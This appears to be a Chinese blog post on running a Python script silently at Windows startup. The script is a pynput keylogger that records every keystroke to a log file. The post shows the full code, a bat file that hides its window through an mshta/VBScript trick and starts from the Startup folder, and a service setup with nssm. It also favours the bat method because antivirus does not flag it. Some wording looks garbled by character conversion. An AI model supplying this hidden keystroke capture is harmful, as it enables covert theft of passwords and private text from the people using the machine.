天天看點

Windows 設定 Python 腳本開機自啟的一些心得

前言

最近遇到一個需求,需要監測鍵盤輸入,将其輸出到指定的檔案中儲存,代碼本身不複雜,但是配置腳本在 Windows 環境中自啟的時候遇到了一些麻煩。

腳本代碼

from pynput.keyboard import Listener, Key

import logging
from datetime import date

directory = f"D:/key"  // 日志檔案儲存路徑
today = str(date.today())

logging.basicConfig(filename=f"{directory}/{today} log.txt", level=logging.DEBUG, format="[%(asctime)s]: %(message)s")

def on_press(key):
    logging.info(key)


def on_release(key):
    pass

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()           

複制

解決思路

pyinstaller+nssm

使用 pyinstaller 将 Python 程式打包為 exe 檔案,并且使用 nssm 配置為系統服務,nssm 是一個服務封裝程式,它可以将普通 exe 程式封裝成服務,使之像 windows 服務一樣運作。同類型的工具還有微軟自己的 srvany,不過 nssm 更加簡單易用。

相關配置可以參考:Windows 使用 NSSM 将任意 exe 封裝為服務 - 終點站

此思路在我自己的電腦上測試正常,但是在其他人電腦上 exe 程式會被 windows 防火牆誤殺,查了很多資料才得知是 python 代碼中使用了 OS 庫,涉及了敏感操作會被防毒軟體誤殺,是以要麼不用 python 自帶的 os 庫,要麼使用别的方法進行配置。

pythonw+設定開機自啟 bat

使用 python 指令運作 py 檔案,會保留 cmd 視窗,當視窗誤關閉時,程式就會中斷,這不是我們想要的。查詢相關資料得知有 pythonw 這個東西,pythonw 是無視窗的 Python 可執行程式,意思是在運作程式的時候,沒有視窗,代碼在背景執行。

既然如此,就可以寫這樣的 bat 腳本

@echo off 
if "%1" == "h" goto begin 
mshta vbscript:createobject("wscript.shell").run("%~0 h",0)(window.close)&&exit 
:begin 
start /b cmd /k "pythonw D:\keylogger.py"           

複制

最後一行是使用 pythonw 執行你的 python 腳本,将這個 bat 腳本設定為開機自啟即可。具體設定步驟如下:

  1. win+r 輸入 shell:startup
  2. 将寫好的 bat 腳本拖入,便會開機自啟動

總結

總的來說,要設定 Python 腳本開機背景自啟,持續運作,

  1. 将 python 程式打包成可執行檔案(exe)檔案,再使用 nssm 配置為系統服務,如果使用到了 os 庫,則會有被殺軟誤殺的可能,建議使用下面的方法
  2. pythonw+開機自啟 bat,這種配置起來比較麻煩,需要在使用的機上安裝 Python 環境,才可以正常使用,不過不會報毒。